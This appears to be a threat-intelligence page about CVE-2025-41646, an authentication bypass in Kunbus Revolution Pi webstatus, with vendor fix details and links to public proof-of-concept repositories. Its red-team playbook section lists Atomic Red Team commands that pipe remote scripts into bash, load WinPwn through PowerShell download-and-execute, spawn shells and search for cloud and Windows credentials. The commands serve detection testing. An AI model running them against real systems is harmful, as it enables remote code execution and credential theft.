CVE-2025-41646
Overview
This vulnerability is an authentication bypass caused by improper type conversion within the Kunbus Revolution Pi webstatus software. The flaw resides in the input validation logic of the authentication mechanism, where incorrect handling of data types allows unauthorized access. The affected component is the webstatus interface responsible for device authentication and session management.
Vulnerability Description
An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device
Impact
An unauthenticated remote attacker can gain full control over the affected device by bypassing authentication, enabling unauthorized access to all device functions and data. This includes the ability to execute arbitrary commands, modify configurations, and disrupt operations. The exploit requires only network access, no privileges, and no user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Such compromise can lead to complete device takeover and potential lateral movement within industrial control environments.
Solution
Kunbus has released advisory Kunbus-2025-0000003 providing a security update to address the authentication bypass in the Revolution Pi webstatus component. Users should apply the patch available at https://www.kunbus.com/en/productsecurity/Kunbus-2025-0000003 and follow the detailed instructions in the vendor's CSAF document (https://psirt.kunbus.com/.well-known/csaf/white/2025/kunbus-2025-0000003.json). No alternative mitigations are specified; updating to the fixed software version is mandatory to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the affected software package stems from a critical flaw in type conversion mechanisms. This flaw allows an unauthorized remote attacker to bypass authentication protocols, which are typically designed to ensure that only legitimate users can access the system. By exploiting this weakness, an attacker can manipulate data types in a way that the software fails to validate user credentials correctly. This misalignment in expected versus actual data types can lead to unauthorized access, enabling the attacker to gain full control over the device and its functionalities.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may initiate a session with the affected software and send specially crafted requests that exploit the type conversion flaw. For instance, by sending data that the system misinterprets, the attacker can trick the software into granting access without proper authentication. This scenario could be executed remotely, making it particularly dangerous as it does not require physical access to the device. Additionally, the potential for automated attacks increases the risk, as malicious actors could deploy scripts to scan for vulnerable systems and exploit them en masse.
The real-world impact of this vulnerability is significant, especially for organizations relying on the affected software for critical operations. A successful exploitation could lead to unauthorized access to sensitive data, manipulation of system settings, or even the deployment of further malicious payloads. This not only compromises the integrity and confidentiality of the system but also poses a substantial business risk. Organizations may face financial losses due to operational disruptions, reputational damage, and potential legal ramifications stemming from data breaches. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is considered critical, underscoring the urgency for organizations to address it promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the affected software to the latest version is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, employing intrusion detection systems can help identify unusual access patterns that may indicate exploitation attempts. Organizations should also conduct thorough security audits and vulnerability assessments to uncover potential weaknesses in their systems. Implementing strong access controls, such as multi-factor authentication, can further reduce the risk of unauthorized access, even if the vulnerability is exploited.
In conclusion, the vulnerability associated with the affected software package represents a severe threat to cybersecurity. Its potential for exploitation through type conversion flaws allows attackers to bypass authentication mechanisms, leading to full system compromise. The implications for businesses are profound, with risks ranging from data breaches to operational disruptions. Therefore, proactive measures, including timely updates, robust detection mechanisms, and enhanced access controls, are essential to safeguarding against this critical vulnerability and ensuring the integrity of organizational systems.
CSURFACE threat intelligence has identified a notable surge in detection activity related to CVE-2025-41646, reflecting a growing adversary interest in exploiting this critical authentication bypass vulnerability. Our telemetry indicates that exploit attempts are becoming more frequent, accompanied by a modest but consistent rise in the EPSS score, signaling increased likelihood of successful exploitation in the near term. Additionally, new proof-of-concept exploits have emerged publicly, potentially lowering the barrier for threat actors to weaponize this flaw. This evolving landscape underscores an elevated risk posture for organizations relying on the affected Kunbus Revolution Pi webstatus software, as attackers gain more accessible tools and demonstrate persistent targeting efforts. Consequently, defenders should recognize that the threat level is intensifying, with exploitation activity trending upward and exploit development accelerating, thereby increasing the urgency for vigilant monitoring and response.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Kunbus | Revpi Status | All |
cpe:2.3:a:kunbus:revpi_status:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
GreenForceNetworks/CVE-2025-41646---Critical-Authentication-Bypass-
CVE-2025-41646 - Critical Authentication bypass
|
GreenForceNetworks | 1 | 0 | 2025-07-04 | View |
|
r0otk3r/CVE-2025-41646
|
r0otk3r | 0 | 0 | 2025-07-19 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-41646 |
| kunbus.com |
GitHub CVE
vendor-advisory
|
https://www.kunbus.com/en/productsecurity/Kunbus-2025-0000003 |
| psirt.kunbus.com |
GitHub CVE
vendor-advisory
x_csaf
|
https://psirt.kunbus.com/.well-known/csaf/white/2025/kunbus-2025-0000003.json |